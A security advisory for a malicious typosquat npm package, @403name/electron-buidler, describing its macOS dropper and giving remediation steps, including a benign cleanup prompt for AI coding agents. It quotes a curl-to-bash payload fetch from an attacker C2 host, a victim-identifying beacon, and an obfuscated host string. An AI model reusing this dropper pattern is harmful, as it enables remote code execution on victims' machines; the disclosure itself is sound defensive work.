# MAL-2026-5547: Malicious code in @403name/electron-buidler (npm)


- **Type:** Malicious package
- **Package:** `@403name/electron-buidler` (npm)
- **Published:** 11 Jun 2026
- **Also known as:** GHSA-h23r-x34f-p95m

## What is MAL-2026-5547?

MAL-2026-5547 is a malicious package in @403name/electron-buidler, published on 11 Jun 2026. 

### Official description

On require(), index.js executes an immediately-invoked function that platform-gates to macOS, skips CI environments, drops a one-shot marker file in ~/.cache/.nyx-npm/eb, then after a 30-90 second random delay performs two attacker-controlled network operations. First, it issues a curl GET to https://k7xm9q.xyz/api/clickfix-callback carrying a beacon ID, $USER, os.hostname(), and the literal tag 'npm_electron-buidler' as query parameters, identifying the victim to the attacker. Second, it fetches a dead-drop file at https://raw.githubusercontent.com/nyx-deploy/config/main/c2.txt to learn a C2 base (base64-encoded fallback decodes to https://k7xm9q.xyz), then pipes `curl -sSfL <C2>/api/payload/ | /bin/bash` via spawn('/bin/sh','-c',...) with `& disown` to detach the shell. The C2 host is concealed via atob('aHR0cHM6Ly9rN3htOXEueHl6'). The package name '@403name/electron-buidler' is a one-character typo of the popular 'electron-builder' package under an unrelated scope; the README's 'Electron application builder' claim is a cover for the dropper. Importing this package on a non-CI macOS host yields full remote code execution as the installing user with attacker-controlled payload delivery and no consent.

Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer. The package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it.

## What should I do about MAL-2026-5547?

Remove the package from your dependencies and lockfiles, then rotate any secrets on machines where it was installed.

## Fix prompt for AI coding agents

```text
MAL-2026-5547 is a malicious package: @403name/electron-buidler (npm). Every version was published to cause harm.

Task:
1. Search this repository's dependency manifests and lockfiles for the package, including transitive dependencies.
2. If it is present, remove it, regenerate the lockfile with the project's package manager, and replace whatever it was used for.
3. List any CI runners, developer machines or containers that installed it, so their secrets can be rotated.
4. If the package is not used anywhere, say so and change nothing.

Reference: https://insights.sbomify.com/MAL-2026-5547/ (Markdown: https://insights.sbomify.com/MAL-2026-5547/index.md)
```

## Sources

- OSV: https://osv.dev/vulnerability/MAL-2026-5547

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From sbomify Insights: https://insights.sbomify.com/MAL-2026-5547/
Summaries are generated and may contain mistakes; the official description above is the record.